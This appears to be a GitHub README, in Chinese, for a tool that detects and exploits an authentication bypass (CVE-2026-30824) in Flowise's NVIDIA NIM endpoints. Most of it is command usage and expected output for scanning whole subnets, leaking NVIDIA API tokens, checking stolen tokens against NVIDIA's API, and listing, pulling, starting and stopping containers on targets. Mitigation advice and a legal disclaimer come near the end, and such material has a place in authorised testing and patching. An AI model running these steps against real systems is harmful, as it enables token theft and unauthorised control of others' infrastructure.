dylvie/CVE-2026-30824-Flowise-NVIDIA-NIM-Authentication

GitHub: dylvie/CVE-2026-30824-Flowise-NVIDIA-NIM-Authentication

针对 Flowise 中 NVIDIA NIM 集成端点认证绕过漏洞(CVE-2026-30824)的概念验证检测与利用工具。

Stars: 0 | Forks: 0

# CVE-2026-30824 — Flowise NVIDIA NIM 身份验证绕过检测与利用工具 这是针对 **CVE-2026-30824** 的概念验证检测与利用工具,该漏洞是 Flowise 中的一个严重身份验证绕过漏洞,可在未经验证的情况下暴露 NVIDIA NIM API 端点。 ## 漏洞概述 **CVE-2026-30824** 是 Flowise (< 3.0.13) 中的一个严重身份验证绕过漏洞,允许未经身份验证的远程攻击者访问 NVIDIA NIM 容器管理和 API Token 生成端点。 | 字段 | 值 | |-------|-------| | **CVSS 评分** | 9.8 (严重) | | **CWE** | CWE-306: 关键功能缺失身份验证 | | **受影响版本** | Flowise < 3.0.13 | | **影响** | 完全的容器管理、GPU 访问、Token 窃取 | ### 根本原因 `/api/v1/nvidia-nim/*` 路径在全局身份验证中间件中被列入白名单,允许未经身份验证的访问: - Token 生成和泄露 - 容器管理(列出、启动、停止) - 拉取 Docker 镜像 - NVIDIA API 集成 ## 功能特性 ✅ **漏洞检测** — 快速检查目标是否存在漏洞 ✅ **Token 提取** — 从易受攻击的端点泄露 NVIDIA API Token ✅ **Token 验证** — 针对 NVIDIA API 验证 Token(验证影响范围) ✅ **容器枚举** — 列出正在运行的 NIM 容器 ✅ **批量扫描** — 从文件中扫描多个目标 ✅ **SSL 绕过** — 默认忽略自签名证书 ✅ **彩色输出** — 易于阅读的状态指示器(绿色/黄色/红色) ✅ **侦察** — 完整的端点映射和诊断 ## 安装 ### 前置条件 - Python 3.7+ - `requests` 库 ### 设置 ``` # Clone 或下载脚本 git clone cd cve-2026-30824 # 安装依赖 pip install -r requirements.txt # 或 pip install requests ``` ## 使用方法 ### 基础漏洞检查 ``` # 检查单个目标是否存在漏洞 python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check # 预期输出 (VULNERABLE): # [+] 目标似乎存在漏洞 (VULNERABLE) (HTTP 200) # 响应: {...} ``` ### 扫描多个目标 ``` # 创建 targets.txt,每行一个 URL cat > targets.txt << EOF http://192.168.1.100:3000 http://192.168.1.101:3000 http://192.168.1.102:3000 EOF # 扫描所有目标(快速模式,无提示) python3 CVE-2026-30824.py -f targets.txt --scan-only # 预期摘要输出: # ============================================================ # [*] 扫描摘要 # ============================================================ # [+] VULNERABLE: 2 # ✓ http://192.168.1.100:3000 # ✓ http://192.168.1.101:3000 # [-] PATCHED: 1 # ✗ http://192.168.1.102:3000 ``` ### 提取 NVIDIA API Token ``` # 从漏洞端点泄漏 NVIDIA API token python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token # 预期输出: # [*] 正在尝试泄漏 NVIDIA API token... # [+] NVIDIA API Token: eyJ0eXAiOiJKV1QiLCJhbGc... # [+] Token 类型: Bearer # [+] 过期时间: 3600s ``` ### 针对 NVIDIA API 验证 Token ``` # 验证泄漏的 token 对真实 NVIDIA API 是否有效 python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..." # 预期输出: # [*] 正在针对 NVIDIA API 验证 token... # [+] Token 有效!可访问 45 个 NVIDIA NIM 模型。 # - mistralai/mistral-7b-instruct-v0.1 # - meta-llama/llama2-70b # - (...) ``` ### 列出运行中的容器 ``` # 枚举目标上的容器 python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers # 预期输出: # [*] 正在列出运行中的容器... # [+] HTTP 200 # [ # { # "id": "abc123xyz", # "names": ["flowise_nim"], # "image": "nvcr.io/nvidia/nim:latest", # "state": "running" # } # ] ``` ### 完整侦察(所有检查) ``` # 对漏洞目标运行所有侦察检查 python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all ``` ## 命令行选项 ``` usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check] [--scan-only] [--get-token] [--validate-token TOKEN] [--list-containers] [--get-container CONTAINER_ID] [--get-image IMAGE_ID] [--pull-image IMAGE_TAG] [--start-container IMAGE_TAG] [--container-name CONTAINER_NAME] [--stop-container CONTAINER_ID] [--preload] [--all] [--timeout TIMEOUT] [--debug] Optional arguments: -h, --help Show this help message and exit -t, --target TARGET Target URL (e.g., http://192.168.1.100:3000) -f, --targets-file FILE File with list of targets (one per line) Vulnerability Detection: --check Only check if target is vulnerable --scan-only Scan targets for vulnerability without prompts --debug Show request details and raw responses Exploitation: --get-token Leak NVIDIA API token --validate-token TOKEN Validate leaked token against NVIDIA API --list-containers List running NIM containers --get-container CONTAINER_ID Get container details --get-image IMAGE_ID Get image details --pull-image IMAGE_TAG Pull a Docker image (e.g., nvcr.io/nvidia/nim:latest) --start-container IMAGE_TAG Start a container from an image tag --container-name NAME Name for the started container --stop-container CONTAINER_ID Stop a running container --preload Trigger resource preload endpoint --all Run all reconnaissance checks Advanced: --timeout SECONDS Request timeout in seconds (default: 15) ``` ## 工作流示例 ### 场景 1:内网评估 ``` # 1. 扫描整个子网以查找存在漏洞的实例 python3 CVE-2026-30824.py -f internal_ips.txt --scan-only # 2. 对每个漏洞目标提取 token python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token # 3. 验证 token 的影响范围 python3 CVE-2026-30824.py --validate-token "" ``` ### 场景 2:影响证明 ``` # 验证漏洞并展示完整的爆炸半径 python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all # 此操作将: # 1. 检查漏洞 # 2. 提取 NVIDIA API token # 3. 针对 NVIDIA API 验证 token # 4. 列出运行中的容器 # 5. 显示资源枚举 ``` ### 场景 3:持续监控 ``` # 定期监控目标(通过 cron 或 scheduler) python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log ``` ## 输出指示器 ### 颜色 - 🟢 **绿色** — 存在漏洞的目标或利用成功 - 🟡 **黄色** — 已修复/无漏洞或警告 - 🔴 **红色** — 错误或连接失败 ### 状态码 | HTTP | 含义 | |------|---------| | 200 | ✅ 存在漏洞(端点可访问) | | 400 | ✅ 存在漏洞(应用报错但端点存在) | | 401 | 🟡 已修复(需要身份验证) | | 404 | 🟡 非 Flowise 或端点不存在 | | 5xx | 🔴 服务器错误/配置错误 | ## 故障排除 ### “收到 HTML 响应而非 JSON” **问题:** 端点返回了 HTML 页面而不是 JSON API 响应。 **解决方案:** 1. 验证 Flowise 版本是否确实易受攻击 (< 3.0.13) 2. 检查目标是否确实运行着 Flowise(而不是其他应用) 3. 验证该端点路径在此版本中是否未发生更改 4. 检查是否有反向代理或 WAF 在进行干扰 ### “连接被拒绝” 或 “连接超时” **问题:** 无法连接到目标。 **解决方案:** ``` # 测试连通性 curl -v http://192.168.1.100:3000/ # 增加超时时间 python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check --timeout 30 ``` ### SSL 证书错误 **问题:** 目标使用了自签名或已过期的证书。 **解决方案:** 脚本默认禁用了 SSL 验证。如果问题仍然存在: ``` # 明确添加端口和协议 python3 CVE-2026-30824.py -t https://192.168.1.100:3000 --check ``` ### Token 验证失败 **问题:** Token 已提取,但针对 NVIDIA API 的验证失败。 **原因:** - Token 可能已经过期 - Token 可能无效(端点返回了伪造的 Token) - 到 NVIDIA API 的网络连接被阻止 ## 安全考虑 ⚠️ **法律声明** - 本工具仅用于授权的安全测试 - 未经授权访问计算机系统是违法行为 - 仅测试您拥有或获得明确授权测试的系统 - 作者对滥用行为不承担任何责任 ### 负责任的披露 如果您在野外发现了此漏洞: 1. 记录发现结果 2. 联系组织的安全团队 3. 给予合理的修复时间(通常为 90 天) 4. 在修复之前不要公开披露 ## 缓解措施 ### 面向系统管理员 **立即执行:** 1. 将 Flowise 升级到 3.0.13 或更高版本 2. 实施网络访问控制(防火墙规则) 3. 如果不需要,禁用 NVIDIA NIM 集成 4. 监控 API 日志以排查可疑的 Token 使用情况 **长期规划:** 1. 使用 WAF 规则阻止 `/api/v1/nvidia-nim/*` 路径 2. 实施 API 速率限制 3. 启用安全监控和告警 4. 定期进行安全评估 ### 面向开发者 - 审查代码库中所有的身份验证绕过问题 - 实施默认拒绝的访问策略 - 增加全面的 API 端点安全测试 - 在 CI/CD 中使用自动化安全扫描 ## 参考资料 - [NVD 条目](https://nvd.nist.gov/) - [Flowise GitHub](https://github.com/FlowiseAI/Flowise) - [NVIDIA NIM 文档](https://docs.nvidia.com/nim/) - [CWE-306: 缺失身份验证](https://cwe.mitre.org/data/definitions/306.html) ## 许可证 本工具仅用于教育和授权的安全测试目的。详见 LICENSE 文件。 ## 免责声明 本利用工具按“原样”提供,不作任何担保。仅限在您拥有或获得明确书面授权测试的系统上使用。作者不对本工具的任何滥用或造成的损害负责。 ## 作者 为授权的渗透测试和安全研究而创建。 **最后更新:** 2026 年 4 月
标签:API令牌窃取, API端点暴露, CISA项目, CVE-2026-30824, CWE-306, Docker, Flowise, GPU, Maven, NVIDIA NIM, PoC, Python, StruQ, 加密, 安全防御评估, 容器管理, 数据展示, 无后门, 无服务器架构, 暴力破解, 未授权访问, 漏洞扫描器, 漏洞验证, 红队, 网络安全, 身份验证绕过, 逆向工具, 隐私保护